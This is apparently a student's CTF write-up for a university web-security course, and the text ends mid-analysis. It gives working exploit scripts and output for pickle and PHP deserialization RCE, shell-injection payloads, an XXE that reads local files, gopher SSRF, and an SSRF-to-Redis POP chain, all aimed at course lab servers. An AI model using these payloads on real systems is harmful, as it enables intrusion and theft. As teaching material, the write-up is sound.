--- tags: CS 2022 Fall, 程式安全 author: Ching367436 --- # [0x0c] web III 課程簡報: https://docs.google.com/presentation/d/e/2PACX-1vSCjOWpJhPrt688deAmGbe1SlyttFN7D56KgRNLd4Dz8EKfcdJJ8MRuTlEyMwlu_QljHcI8m21njSn6/pub?slide=id.g1afc8f4e994_0_0 https://drive.google.com/file/d/1UkppxGBas585M1_rJ31EGtICtQUQ3sDN/view?usp=share_link lecture: twitch 把他刪掉了QQ http://h4ck3r.quest/challenges ### [LAB] Pickle #### 題目 ```python= from flask import Flask, request, make_response, redirect, send_file import base64 import pickle app = Flask(__name__) @app.route("/sauce") def sauce(): return send_file(__file__, mimetype="text/plain") @app.route("/") def main(): session = request.cookies.get("session") if session == None: return '<form action="/login" method="POST">' +\ '<p>Name: <input name="name" type="text"></p>' +\ '<p>Age: <input name="age" type="number"></p>' +\ '<button>Submit</button></form><hr><a href="/sauce">Source code</a>' else: user = pickle.loads(base64.b64decode(session)) return f'<p>Name: {user["name"]}</p><p>Age: {user["age"]}</p>' @app.route("/login", methods=['POST']) def login(): user = base64.b64encode(pickle.dumps({ "name": request.form.get('name'), "age": int(request.form.get('age')) })) resp = make_response(redirect('/')) resp.set_cookie("session", user) return resp ``` 題目的 `:23` 有 `pickle.loads` 然而裡面放的參數使用者可控 所以只要把想要執行的 `code` 放入 `pickle.loads` 的時候會自動執行的 `__reduce__` 就可以 `RCE` ##### `Exploitation` 下方 `:10` 把 `(subprocess.check_output, (('ls',)))` 放到了 `__reduce__` 的回傳裡面 那只要 `pickle.loads` 的時候的東西裡面放他 就會執行 `subprocess.check_output('ls')` 這邊我的作法是把 我們的 `exp` 放進 `{"name": exp(), "age":2}` 這樣我們放的 `ls` 的輸出結果就會自動放到 `name` 裡面 而 `name` 會被網頁顯示出來 所以就可以取得 `ls` 的結果 `flag` 就在裡面 ###### `Pickle/peko.py` ```python= import pickle import base64 import subprocess import requests URL = 'http://h4ck3r.quest:8600/' class exp: def __reduce__(self): return (subprocess.check_output, (('ls',))) pkl = pickle.dumps({"name": exp(), "age":2}) pkl_b64 = base64.b64encode(pkl).decode() r = requests.get(URL, cookies={"session": pkl_b64}) print(r.text) '''output <p>Name: b'FLAG{p1ckle_r1ck}\n__pycache__\nexploit.py\nmain.py\nuwsgi.ini\n'</p><p>Age: 2</p> ''' ``` ### [LAB] Baby Cat #### 題目 ```php= <?php isset($_GET['source']) && die(!show_source(__FILE__)); class Cat { public $name = '(guest cat)'; function __construct($name) { $this->name = $name; } function __wakeup() { echo "<pre>"; system("cowsay 'Welcome back, $this->name'"); echo "</pre>"; } } if (!isset($_COOKIE['cat_session'])) { $cat = new Cat("cat_" . rand(0, 0xffff)); setcookie('cat_session', base64_encode(serialize($cat))); } else { $cat = unserialize(base64_decode($_COOKIE['cat_session'])); } ?> <p>Hello, <?= $cat->name ?>.</p> <a href="/?source">source code</a> ``` 看到 `:23` 有一個 `unserialize` 而且使用者可控裡面的資料 所以來觀察一下有沒有 `unserialize` 的洞 看到 `class Cat` 的 `__wakeup` 那是 `unserialize` 的時候會執行的函式 裡面剛好有 `:14` 的 `Command Injection` 他的 `$this->name` 使用者可控 所以只要提供 `$this->name` 是 `command injection` 的 `paylaod` 就可以 `RCE` ##### `exploitation` 下方的 `script` 的 `:16` 我製造了一個 `this->name` 叫做 `h4ck3r';cat /flag* ;echo '` 的 `Cat` 把這個送到 `server` `unserialize` 的時候 會執行 `__wakeup` 因為我們 `this->name` 叫做 `h4ck3r';cat /flag* ;echo '` 所以裡面相當於於執行了 `system("cowsay 'Welcome back, h4ck3r';cat /flag* ;echo ''");` 所以 `flag` 就會被印出來 就拿到 `flag` 了 ###### `Baby Cat/babycat.php` ```php= <?php class Cat { public $name = ''; function __construct($name) { $this->name = $name; } function __wakeup() { echo "<pre>"; system("cowsay 'Welcome back, $this->name'"); echo "</pre>"; } } $payload = serialize(new Cat("h4ck3r';cat /flag* ;echo '")); $payload = base64_encode($payload); echo $payload; system("curl 'http://h4ck3r.quest:8601/' --cookie 'cat_session=".$payload."'") // <!-- http://h4ck3r.quest:8601/ --> /* output: php ./exp.php TzozOiJDYXQiOjE6e3M6NDoibmFtZSI7czoyNjoiaDRjazNyJztjYXQgL2ZsYWcqIDtlY2hvICciO30= % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 309 100 309 0 0 2542 0 --:--:-- --:--:-- --:--:-- 2618 <pre> ______________________ < Welcome back, h4ck3r > ---------------------- \ ^__^ \ (oo)\_______ (__)\ )\/\ ||----w | || || FLAG{d3serializable_c4t} </pre><p>Hello, h4ck3r';cat /flag* ;echo '.</p> <a href="/?source">source code</a> */ ?> ``` ### [LAB] Magic Cat #### 題目 ```php= <?php isset($_GET['source']) && die(!show_source(__FILE__)); class Magic { function cast($spell) { echo "<script>alert('MAGIC, $spell!');</script>"; } } // Useless class? class Caster { public $cast_func = 'intval'; function cast($val) { return ($this->cast_func)($val); } } class Cat { public $magic; public $spell; function __construct($spell) { $this->magic = new Magic(); $this->spell = $spell; } function __wakeup() { echo "Cat Wakeup!\n"; $this->magic->cast($this->spell); } } if (isset($_GET['spell'])) { $cat = new Cat($_GET['spell']); } else if (isset($_COOKIE['cat'])) { echo "Unserialize...\n"; $cat = unserialize(base64_decode($_COOKIE['cat'])); } else { $cat = new Cat("meow-meow-magic"); } ?> <pre> This is your 🐱: <?php var_dump($cat) ?> </pre> <p>Usage:</p> <p>/?source</p> <p>/?spell=the-spell-of-your-cat</p> ``` `:43` 一樣有使用者可控的 `unserialize` 直接來看 `:32` `__wakeup` 裡面有 `$this->magic->cast($this->spell);` 所以來看看有哪邊有 `class` 裡面有 `cast` 函式的 然後把 `$this->magic` 設成那個 `class` 就會執行到他的 `cast` 看到 `Caster` 的 `cast` 裡面很危險 `$this->cast_func` 我們可以控制成 `system` 這樣執行 `__wakeup` `$this->magic->cast($this->spell);` 的時候就會等同於執行 `system($this->spell)` 而 `$this->spell` 我們也可以控制 那就設成 `cat /flag*` 就可以拿到 `flag` 了 ###### `Magic Cat/magiccat.php` ```php= <?php class Magic { function cast($spell) { echo "<script>alert('MAGIC, $spell!');</script>"; } } // Useless class? class Caster { public $cast_func = 'system'; function cast($val) { return ($this->cast_func)($val); } } class Cat { public $magic; public $spell; function __construct($spell) { $this->magic = new Caster(); $this->spell = $spell; } function __wakeup() { echo "Cat Wakeup!\n"; $this->magic->cast($this->spell); } } $payload = serialize(new Cat("cat /flag*")); $payload = base64_encode($payload); system("curl 'http://h4ck3r.quest:8602/' --cookie 'cat=".$payload."'") // <!-- http://h4ck3r.quest:8602/ --> /* ch@CHSMP ~/Downloads> php ./magiccat.php % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 298 100 298 0 0 2911 0 --:--:-- --:--:-- --:--:-- 3010 Unserialize... Cat Wakeup! FLAG{magic_cat_pwnpwn}<pre> This is your 🐱: object(Cat)#1 (2) { ["magic"]=> object(Caster)#2 (1) { ["cast_func"]=> string(6) "system" } ["spell"]=> string(10) "cat /flag*" } </pre> <p>Usage:</p> <p>/?source</p> <p>/?spell=the-spell-of-your-cat</p> */ ?> ``` ### [LAB] XXE #### 題目 ```php= XXE! <?php $xmlfile = urldecode(file_get_contents('php://input')); if (!$xmlfile) die(show_source(__FILE__)); $dom = new DOMDocument(); $dom->loadXML($xmlfile, LIBXML_NOENT | LIBXML_DTDLOAD); $creds = simplexml_import_dom($dom); $user = $creds->user; echo "You have logged in as user $user"; ?> ``` 題目 `:3` 會把使用者提供的 `xml` 讀進來 `:9` 會把 `xml` 的 `user` 讀進來 因此我們只需將 `xml` 的 `user` 設成 `file:///flag` 的內容 那回傳的網頁就會把他顯示成 `$user` 我們就看得到 `file:///flag` 的內容了 ###### `XXE/xxe.xml` ```xml <?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///flag"> ]> <stockCheck><user>&xxe;</user></stockCheck> <!-- FLAG{xxxeeeeeee} --> ``` 這是用 `Burpsuite` 送的 ![](https://i.imgur.com/qkeImN6.png) 要用 `curl` 的話就用這個 ```sh curl --data-binary '<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE foo [ <!ENTITY xxe SYSTEM "file:///flag"> ]> <stock><user>&xxe;</user></stock>' 'http://h4ck3r.quest:8604/' ``` ### [LAB] Preview Card #### `/` 題目一進來是一個 `Web Preview` 的服務 聽起來有 `SSRF` 的味道 題目看到有 `FLAG (localhost only)` 那就用它提供的服務來 `SSRF` `flag` 吧 ![](https://i.imgur.com/dZJlBpx.png) #### `/preview.php?url=http://localhost/flag.php` ![](https://i.imgur.com/i1Vb5AH.png) 看來我們需要 `POST` 到 `flag.php` 才能拿到 `flag` 而且需要帶 `givemeflag=yes` 的參數 這種時候會想試試看不同的 `ssrf protocol` #### `/preview.php?url=file:///var/www/html/flag.php` ![](https://i.imgur.com/IQjW5d7.png) 真的可以 #### `/preview.php?url=file:///var/www/html/index.php` ![](https://i.imgur.com/0ois1t5.png) 原來是用 `curl` 他可以用 `gopher` 所以現在我們能構造出任意的 `TCP` 封包了 那就用 `gopher` 來 `POST` `/flag.php` 吧 #### `gopher POST SSRF` 我們要用的 `payload` 就是下面這個 他會 `POST` 到 `localhost:80/flag.php` 且帶上 `givemeflag=yes` `gopher://localhost:80/_` 後面就是放我們的 `http` 的內容 就是有 `givemeflag=yes` 的 `POST` 的 `http` 請求 ###### `gopher` ` gopher://localhost:80/_POST%20/flag.php%20HTTP/1.1%0D%0AHost:%200.0.0.0:12322%0D%0AContent-Length:%2014%0D%0AContent-Type:%20application/x-www-form-urlencoded%0D%0A%0D%0Agivemeflag=yes%0D%0A ` ###### `http` ```http POST /flag.php HTTP/1.1 Host: 0.0.0.0:12322 Content-Length: 14 Content-Type: application/x-www-form-urlencoded givemeflag=yes ``` 附上可以直接到那個 `payload` 頁面的網址 http://h4ck3r.quest:8500/preview.php?url=gopher%3A%2F%2Flocalhost%3A80%2F_POST%2520%2Fflag.php%2520HTTP%2F1.1%250D%250AHost%3A%25200.0.0.0%3A12322%250D%250AContent-Length%3A%252014%250D%250AContent-Type%3A%2520application%2Fx-www-form-urlencoded%250D%250A%250D%250Agivemeflag%3Dyes%250D%250A ![](https://i.imgur.com/1bYR5hE.png) ### [HW] HugeURL 進來題目看到一個 `URL Lengthener` 來試著用用看 ![](https://i.imgur.com/01lhQd9.png) ![](https://i.imgur.com/Sq2uiC5.png) 看到有 `Preview` 功能 感覺就有 `SSRF` 後面進入 `redirect` 的網址就會 `redirect` 到指定的地方 這網址也太長 ![](https://i.imgur.com/ggIKGYn.jpg) 如果把 `redirect` 的網址在放回來 `URL Lenthener` 一次 會發現網址不會變更長了 仍然可以正常 `redirect` ![](https://i.imgur.com/BmhWIgj.png) ![](https://i.imgur.com/pYAwXyO.jpg) 用了兩個網址後發現網址怎麼長的那麼像 題目有附 `source code` 就來看看 ##### directory tree ```php . ├── Dockerfile ├── docker-compose.yml ├── flag │ ├── flag │ └── readflag.c ├── php │ ├── inc.php │ ├── index.php │ └── templates │ ├── index.html.php │ └── preview.html.php └── redis.conf 4 directories, 9 files ``` 先來看 `docker-compose.yml` #### `docker-compose.yml` ```yaml= version: '3.5' services: redis: image: redis:alpine restart: always volumes: - ./redis.conf:/usr/local/etc/redis/redis.conf:ro command: redis-server /usr/local/etc/redis/redis.conf web: build: ./ volumes: - ./php:/var/www/html/ ports: - 10004:80/tcp depends_on: - redis ``` 知道了他有用 `redis` 以及 `web` 這兩個 `services` 來看 `web` 的 `Dockerfile` #### `Dockerfile` ```dockerfile= FROM php:8-apache RUN a2enmod rewrite RUN pecl install redis && docker-php-ext-enable redis RUN apt update && apt install -y git COPY --from=composer/composer /usr/bin/composer /usr/bin/composer RUN cd /var/www/ && composer require vlucas/bulletphp COPY ./flag/readflag.c /readflag.c COPY ./flag/flag /flag RUN chmod 0400 /flag && chown root:root /flag RUN chmod 0444 /readflag.c && gcc /readflag.c -o /readflag RUN chown root:root /readflag && chmod 4555 /readflag ``` 看到 `:8` 題目用了 `vlucas/bulletphp` 這個 `framework` 接著來看 `.htaccess` #### `php/.htaccess` ```c= RewriteEngine On # Reroute any incoming requestst that is not an existing directory or file RewriteCond %{REQUEST_FILENAME} !-d RewriteCond %{REQUEST_FILENAME} !-f RewriteRule ^(.*)$ index.php?u=$1 [L,QSA,B] ``` 看到 `:7` 會把所有請求交給 `index.php?u=$1` 所以來看 `index.php` #### `php/index.php` ```php= <?php require __DIR__ . '/../vendor/autoload.php'; require __DIR__ . '/inc.php'; $app = new Bullet\App(['template' => [ 'path' => __DIR__ . '/templates/' ]]); $app->path('/', function ($request) use ($app) { return $app->template('index'); }); $app->path('/create', function ($request) use ($app) { $app->post(function ($request) use ($app) { if (!filter_var($request->url, FILTER_VALIDATE_URL)) { die("Invalid URL"); } $uuid = uuid(); redis()->set($uuid, new Page($request->url)); return $app->response()->redirect("/p/$uuid"); }); }); $app->path('/p', function ($request) use ($app) { $app->param( fn ($slug) => preg_match("#[a-z0-9_-]+#i", $slug) && $slug, function ($request, $uuid) use ($app) { if ($page = redis()->get($uuid)) { return $app->template('preview', [ 'page' => $page, 'preview' => "http://$_SERVER[HTTP_HOST]/p/$uuid", 'redirect' => "http://$_SERVER[HTTP_HOST]/r/$uuid" ]); } else { return false; } } ); }); $app->path('/r', function ($request) use ($app) { $app->param( fn ($slug) => preg_match("#[a-z0-9_-]+#i", $slug) && $slug, function ($request, $slug) use ($app) { if ($page = redis()->get($slug)) { return $app->response()->redirect($page->url); } else { return false; } } ); }); $app->run(new Bullet\Request())->send(); ``` 前面已經從 `Dockerfile` 裡面知道有用 `vlucas/bulletphp` 這個 `framework` 了 語法可以從下面的官方文件找到 https://github.com/vlucas/bulletphp 來看看各個 `endpoint` 的 `source code` 吧 ##### `/` ```php $app->path('/', function ($request) use ($app) { return $app->template('index'); }); ``` 首先 `:10` `$app->path('/'` 會把 `path` 為 `/` 的 `requests` 交給這裡處理 他做的事情就是傳回 `php/templates/index.html.php` 而已 那就是我們一進到網頁所看到的頁面 因為那是靜態的 所以沒什麼好看的 只需要知道他會 `POST` 到 `/create` 就好 `php/templates/index.html.php:15,18` ```html <form action="/create" method="POST"> <input placeholder="URL" name="url"> <button>LENGTHEN!</button> </form> ``` ##### `/create` ```php $app->path('/create', function ($request) use ($app) { $app->post(function ($request) use ($app) { if (!filter_var($request->url, FILTER_VALIDATE_URL)) { die("Invalid URL"); } $uuid = uuid(); redis()->set($uuid, new Page($request->url)); return $app->response()->redirect("/p/$uuid"); }); }); ``` 接著這裡會先判斷 `$request->url` 是不是合理的 `URL` 如果合理的話 會生成 `$uuid` 並且把 `redis` 的 `$uuid` 設成 `new Page($request->url)` 接著 `redirect` 使用者到 `/p/$uuid` 對應到了我們一開始看到的 `preview` 頁面 ##### `/p/$uuid` ```php $app->path('/p', function ($request) use ($app) { $app->param( fn ($slug) => preg_match("#[a-z0-9_-]+#i", $slug) && $slug, function ($request, $uuid) use ($app) { if ($page = redis()->get($uuid)) { return $app->template('preview', [ 'page' => $page, 'preview' => "http://$_SERVER[HTTP_HOST]/p/$uuid", 'redirect' => "http://$_SERVER[HTTP_HOST]/r/$uuid" ]); } else { return false; } } ); }); ``` 這邊做的事情就是 從 `redis` 裡面取出 `$uuid` 的資料 `$page` 那個資料從上面看到是 `class Page` 然後把 `php/templates/preview.html.php` render 起來 來看看 `php/templates/preview.html.php` ##### `php/templates/preview.html.php` ![](https://i.imgur.com/wagprwg.png) 看到 `:30` 決定追追看 `class Page` 到底是什麼 來到 `php/inc.php` (`php/index.php` 有 `require` 所以知道要找這裡) ##### `php/inc.php` ```php= <?php class Page { public $url; private $title; private $preview; function __construct($url) { $this->url = $url; $this->fetch(); } public function fetch() { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $this->url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 5); $response = curl_exec($ch); if (preg_match("#<title>([\S\s]+)</title>#i", $response, $match)) { $this->title = trim($match[1]); } else { $this->title = $this->url; } if (preg_match("#<body>([\S\s]+)</body>#i", $response, $match)) { $this->preview = substr(strip_tags($match[1]), 0, 128) . "..."; } else { $this->preview = $this->title; } } public function previewCard() { return " <div class=\"preview\"> <strong>$this->title</strong><br> <small>$this->url</small><br> $this->preview </div> "; } } function redis() { $redis = new Redis(); $redis->connect('redis', 6379); $redis->setOption(Redis::OPT_SERIALIZER, Redis::SERIALIZER_PHP); return $redis; } function uuid() { return str_replace(["/", "+"], ["_", "-"], base64_encode(random_bytes(150))); } ``` 首先看到 `class Page` 的 `__construct` (`:8`) `__construct` ```php function __construct($url) { $this->url = $url; $this->fetch(); } ``` 他使用了 `fetch()` 來看 `fetch` `fetch` ```php public function fetch() { $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $this->url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_TIMEOUT, 5); $response = curl_exec($ch); if (preg_match("#<title>([\S\s]+)</title>#i", $response, $match)) { $this->title = trim($match[1]); } else { $this->title = $this->url; } if (preg_match("#<body>([\S\s]+)</body>#i", $response, $match)) { $this->preview = substr(strip_tags($match[1]), 0, 128) . "..."; } else { $this->preview = $this->title; } } ``` 他使用了 `curl` 來抓資料 這裡感覺有 `SSRF` 看看我們能不能控制 `$url` 追回有 `new Page` 的地方 也就是剛才的 `/create` ![](https://i.imgur.com/0P1mU6T.png) `:16` 看到了 `fileter_var` 來試試看 ```php php > var_dump(filter_var('google.com', FILTER_VALIDATE_URL)); bool(false) php > var_dump(filter_var('https://google.com', FILTER_VALIDATE_URL)); string(18) "https://google.com" php > var_dump(filter_var('gopher://google.com', FILTER_VALIDATE_URL)); string(19) "gopher://google.com" ``` 是了之後發現可以用 `gopher` 太高興了吧 那表示我們可以 `ssrf redis` 來控制 `redis` 裡面的內容 看看會不會有 `ssrf redis` 然後接一個 `unserialize` 的洞之類的 回到 `php/inc.php:45` 的 `redis` 看看 `redis` ```php function redis() { $redis = new Redis(); $redis->connect('redis', 6379); $redis->setOption(Redis::OPT_SERIALIZER, Redis::SERIALIZER_PHP); return $redis; } ``` 看到 `return` 的前一行有 `$redis->setOption(Redis::OPT_SERIALIZER, Redis::SERIALIZER_PHP);` 所以他會反序列化從 `redis` 裏出來的東西 然而我們能控制 `redis` 裏的東西 那就想辦法找一個 `POP Chain` 在利用 `ssrf` 來把 `chain` 放進 `redis` 接著在觸發 `redis` 取出資料然後 `unserialize` 就可以 `RCE` 了 那就來找 `POP Chain` 吧 #### 找 POP Chain <!-- https://ctf.org.cn/2020/12/01/Some-Php-Pop-Chain-Analysis/#111-laravel-58-exp1 --> 先來看看 `$page` 被取出之後會被做什麼 <!-- ![](https://i.imgur.com/JfXvKHz.png) --> 回到 `/p/$uuid` 這個 `endpoint` `/p/$uuid` ```php $app->path('/p', function ($request) use ($app) { $app->param( fn ($slug) => preg_match("#[a-z0-9_-]+#i", $slug) && $slug, function ($request, $uuid) use ($app) { if ($page = redis()->get($uuid)) { return $app->template('preview', [ 'page' => $page, 'preview' => "http://$_SERVER[HTTP_HOST]/p/$uuid", 'redirect' => "http://$_SERVER[HTTP_HOST]/r/$uuid" ]); } else { return false; } } ); }); ``` 看到了 `return $app->template('preview'` 哪裏 `$page` 會被放進 `preview` 裡面 追進 `php/templates/preview.html.php` ###### `php/templates/preview.html.php` ![](https://i.imgur.com/H48WA0K.png) 看到 `$page` 總共出現兩次 有這兩個東西 ```php $page->url $page->PreviewCard() ``` 試著找找看有沒有 `PreviewCard` 的東西 ```sh root@0421dbbe30a8:/# grep -r /var/www -e 'previewCard' /var/www/html/inc.php: public function previewCard() /var/www/html/templates/preview.html.php: <?= $page->previewCard() ?> ``` 看來沒有 根據 `splitline` 我們可以先來找 `magic method` ![](https://i.imgur.com/Q9l0QfI.jpg) 來試試看 ```sh= root@0421dbbe30a8:/# grep -r /var/www -e 'function __' /var/www/html/inc.php: function __construct($url) /var/www/vendor/pimple/pimple/src/Pimple/Psr11/Container.php: public function __construct(PimpleContainer $pimple) /var/www/vendor/pimple/pimple/src/Pimple/Psr11/ServiceLocator.php: public function __construct(PimpleContainer $container, array $ids) /var/www/vendor/pimple/pimple/src/Pimple/Exception/UnknownIdentifierException.php: public function __construct($id) /var/www/vendor/pimple/pimple/src/Pimple/Exception/FrozenServiceException.php: public function __construct($id) /var/www/vendor/pimple/pimple/src/Pimple/Exception/InvalidServiceIdentifierException.php: public function __construct($id) /var/www/vendor/pimple/pimple/src/Pimple/ServiceIterator.php: public function __construct(Container $container, array $ids) /var/www/vendor/pimple/pimple/src/Pimple/Tests/Fixtures/NonInvokable.php: public function __call($a, $b) /var/www/vendor/pimple/pimple/src/Pimple/Tests/Fixtures/Invokable.php: public function __invoke($value = null) /var/www/vendor/pimple/pimple/src/Pimple/Container.php: public function __construct(array $values = []) /var/www/vendor/pimple/pimple/README.rst: public function __construct(ContainerInterface $services) /var/www/vendor/pimple/pimple/README.rst: public function __construct($voters) /var/www/vendor/composer/ClassLoader.php: public function __construct($vendorDir = null) /var/www/vendor/vlucas/bulletphp/src/Bullet/Request.php: public function __construct($method = null, $url = null, array $params = array(), array $headers = array(), $rawBody = null) /var/www/vendor/vlucas/bulletphp/src/Bullet/Request.php: public function __get($key) /var/www/vendor/vlucas/bulletphp/src/Bullet/Request.php: public function __set($key, $value) /var/www/vendor/vlucas/bulletphp/src/Bullet/Request.php: public function __isset($key) /var/www/vendor/vlucas/bulletphp/src/Bullet/Response.php: public function __construct($content = null, $status = 200) /var/www/vendor/vlucas/bulletphp/src/Bullet/Response.php: public function __toString() /var/www/vendor/vlucas/bulletphp/src/Bullet/App.php: public function __construct(array $values = array()) /var/www/vendor/vlucas/bulletphp/src/Bullet/App.php: public function __call($method, $args) /var/www/vendor/vlucas/bulletphp/src/Bullet/App.php: public function __sleep() /var/www/vendor/vlucas/bulletphp/src/Bullet/Response/Chunked.php: public function __construct($items, $status = 200) { /var/www/vendor/vlucas/bulletphp/src/Bullet/Response/Chunked.php: public function __toString() /var/www/vendor/vlucas/bulletphp/src/Bullet/Response/Sse.php: public function __construct($events, $status = 200) /var/www/vendor/vlucas/bulletphp/src/Bullet/Response/Sse.php: public function __toString() /var/www/vendor/vlucas/bulletphp/src/Bullet/View/Template/Block.php: public function __construct($name, $defaultContent = null) /var/www/vendor/vlucas/bulletphp/src/Bullet/View/Template.php: public function __construct($file, array $params = array()) /var/www/vendor/vlucas/bulletphp/src/Bullet/View/Template.php: public function __get($var) /var/www/vendor/vlucas/bulletphp/src/Bullet/View/Template.php: public function __set($key, $value) ``` 好多東西 先來看有 `__wakeup` 的 `__wakeup` 在被 `unserialize` 的時候就會被呼叫 然後這裡其實沒有人有 `__wakeup` 接著來看 `__call()` > __call() is triggered when invoking inaccessible methods in an object context. [name=https://www.php.net/manual/en/language.oop5.overloading.php#object.call] `/var/www/vendor/vlucas/bulletphp/src/Bullet/App.php` 有所以來看看 ###### `/var/www/vendor/vlucas/bulletphp/src/Bullet/App.php` ![](https://i.imgur.com/rAwE2vA.png) 這裡看起來好危險 會呼叫 `$this->_callbacks['custom'][$method]` 所以只要做出一個這裡的 `class App` 把 `$this->_callbacks['custom'][$method]` 設成想被呼叫到的 `function_name` 那 `:839` 的地方就會在 `$app->function_name` 被呼叫到的時候執行 `$this->_callbacks['custom'][$method]` 舉個例子🌰 ```php $app = new App(); // $this->_callbacks['custom']['Ching367436'] = 'system'; $app->addMethod('Ching367436', 'system'); $app->Ching367436('ls'); ``` 上面那段程式碼的 `addMethod` 做的事情就是 `$this->_callbacks['custom'][$method] = $callback` 因為剛好有那個 `API` 所以就直接呼叫 上面這段程式碼在那種情況下最後會執行 `system('ls')` 所以我們要找到我們可以控制參數的 `class` 的函數呼叫 就可以 `RCE` 以現有的 ```php $page->url $page->PreviewCard() ``` 是不夠的 我們要再去找其他可以用的 ##### 尋找控制參數的 class 的函數呼叫 這裡還有一個有 `__wakeup` 的 不過好像沒什麼用 ![](https://i.imgur.com/lJJ8mGs.png) 繼續看有哪些 `magic method` 這次來找 `__destruct` 結果沒有 那來找 `__toString` 總共有三個地方有 ###### `1` ![](https://i.imgur.com/ozkdkUV.png) 看起來沒東西 `this->content` 裡面也沒什麼特別的 ###### `2` ![](https://i.imgur.com/89uKCSy.png) 沒東西 ###### `3` ![](https://i.imgur.com/HLBfBp1.png) 沒東西 接著來找 `__get` `__set` ###### `1` ![](https://i.imgur.com/eNjeWjw.png) ![](https://i.imgur.com/vAGT914.png) 沒東西 ###### `2` ![](https://i.imgur.com/ymBgYrK.png) 沒東西 ###### `3` ![](https://i.imgur.com/F4jyo1f.png) ![](https://i.imgur.com/P7zGsvB.png) ![](https://i.imgur.com/BZBQn4a.png) 沒東西 來看看 `__invoke` ###### `6` ![](https://i.imgur.com/veUs5h2.png) 沒東西 然後接著我來到了 `ClassLoader.php` ![](https://i.imgur.com/5KzwNoh.png) 看了一下看起來很危險 只是找不到觸發的方法 #### `phpinfo()` 到目前為止找不到其他有用的 `gadget` 來觸發可控參數的 `__call` 不過上面的 `$page->previewCard()` 雖然是一個無法控制參數的東西 但呼叫 `phpinfo()` 不需要任何參數 我們有辦法呼叫到他 就先來看看 `phpinfo()` 也許能得到什麼提示 ##### Step1: 製造 `POP Chain` 並製作 `gopher ssrf redis` `paylaod` 現在我要做一個 `$obj` 滿足只要呼叫 `$obj->previewCard()` 就會執行 `phpinfo()` 使用的是 `Bullet/App` 這個 `class` 所以 `:3` 我先將 `namespace` 設成 `Bullet` 這樣後面序列化的時候會比較方便 不用再把 `App` 改成 `Bullet/App` 接著 `:5,28` 我把 `/var/www/vendor/vlucas/bulletphp/src/Bullet/App.php` 裡面的 `class App` 複製出來 然後因為我們只會用到 `protected $_callbacks` 跟 `public function addMethod` 所以把其他的刪掉 還有一點要注意的是 `protected $_callbacks` 要改成 `public $_callbacks` 不然序列化之後裡面會有 `null byte` 使用 `curl gopher ssrf` 的時候會出問題 接著 `:31,34` 把這個東西序列化起來 `:36,53` 把他做成 `ssrf` 要用的網址 `:37` `gopher ssrf redis` 的部分參考了這個的 `redis RESP format` https://infosecwriteups.com/exploiting-redis-through-ssrf-attack-be625682461b 意思就是把我們序列化後的東西放進 redis 裡面 `Ching367436_1234` 那一格 所以之後只要從裡面取 `Ching367436_1234` 就會取到我做好的序列化後的東西 ###### `popgen.php` ```php= <?php namespace Bullet; class App { public $_callbacks = array( 'custom' => array() ); /** * Add a custom user method via closure or PHP callback * * @param string $method Method name to add * @param callback $callback Callback or closure that will be executed when missing method call matching $method is made * @throws InvalidArgumentException */ public function addMethod($method, $callback) { if (!is_callable($callback)) { throw new \InvalidArgumentException("Second argument is expected to be a valid callback or closure."); } if (method_exists($this, $method)) { throw new \InvalidArgumentException("Method '" . $method . "' already exists on " . __CLASS__); } $this->_callbacks['custom'][$method] = $callback; } } $app = new App(); $app->addMethod('previewCard', 'phpinfo'); $s = serialize($app); $protocol_host_port = "gopher://redis:6379/"; $path = "_*3 $3 set $16 Ching367436_1234 $" . strlen($s) . " $s QUIT"; $path = str_replace("\n", "\r\n", $path); $path = urlencode($path); $path = str_replace('+', '%20', $path); $url = $protocol_host_port . $path; system("echo $url"); // output: gopher://redis:6379/_%2A3%0D%0A%243%0D%0Aset%0D%0A%2416%0D%0AChing367436_1234%0D%0A%2498%0D%0AO%3A10%3A%22Bullet%5CApp%22%3A1%3A%7Bs%3A10%3A%22_callbacks%22%3Ba%3A1%3A%7Bs%3A6%3A%22custom%22%3Ba%3A1%3A%7Bs%3A11%3A%22previewCard%22%3Bs%3A7%3A%22phpinfo%22%3B%7D%7D%7D%0D%0AQUIT ``` ##### Step2: 把 `paylaod` 送給伺服器 這樣伺服器就會把我們的 `payload` 放盡 `redis` 裡面 ![](https://i.imgur.com/P7li1R8.png) ![](https://i.imgur.com/LS4RP7a.png) ##### Step3: 觸發反序列化 接著前往 `/p/Ching367436_1234` [上面](#puuid) 提到過這時候伺服器會把 `Ching367436_1234` 從 `redis` 取出 把 `$page` 設成他 接著就會執行 ```php $page->url $page->PreviewCard() ``` `$page->PreviewCard()` 就會執行 `phpinfo()` 了 ![](https://i.imgur.com/9OdrSZa.jpg) ![](https://i.imgur.com/Bx83IWu.png) 看到有 `hint` 這個 `environment variable` 上面寫著 ``` For something like $func(), you can try to change $func variable to array type ``` 試著呼叫看看一個 `array` 看看 ![](https://i.imgur.com/RRiMocl.png) ![](https://i.imgur.com/rW7h00t.png) 看到這個才知到這叫做 `Array callback` 上網直接搜尋發現都是一些不相關的 直接來翻官網的 reference 來到了 `function` 的部分 https://www.php.net/manual/en/language.functions.php 點進 `variable-functions` https://www.php.net/manual/en/functions.variable-functions.php 看到 `Example #4 Complex callables` ![](https://i.imgur.com/Cit3bmh.png) 所以我們可以去找有用的 `class` 的 `method` 來利用 我們可以控制 `class` 所以只要找到沒有參數的可利用 `method` 來用就好了 所以接著來找 `public function .+\((.+=.+)?\)` #### `public function .+\((.+=.+)?\)` 找的時候看到了一個有趣的函數 `run` ###### `$app->run()` 我的螢幕好長 看到 `:284` 有 `call_user_func` 感覺很可疑 而且這個 `run` 函數可以不用參數呼叫 ![](https://i.imgur.com/SpB5ELh.jpg) 下方這段 (`:277,287`) 是裡面比較關鍵的地方 先看看下面被放到 `call_user_func` 裡面的東西 (`:8`) 有 `$handler['condition']` `$response` `$handler['condition']` 的部分從 `:6` 我們可以知道是可控的 至於 `$response` 我們要追進 `:1` 的 `$this->response($content)` 裡面 ```php= $response = $this->response($content); // Perform last minute operations on our response $this->filter('beforeResponseHandler', array($response)); // Apply user defined response handlers 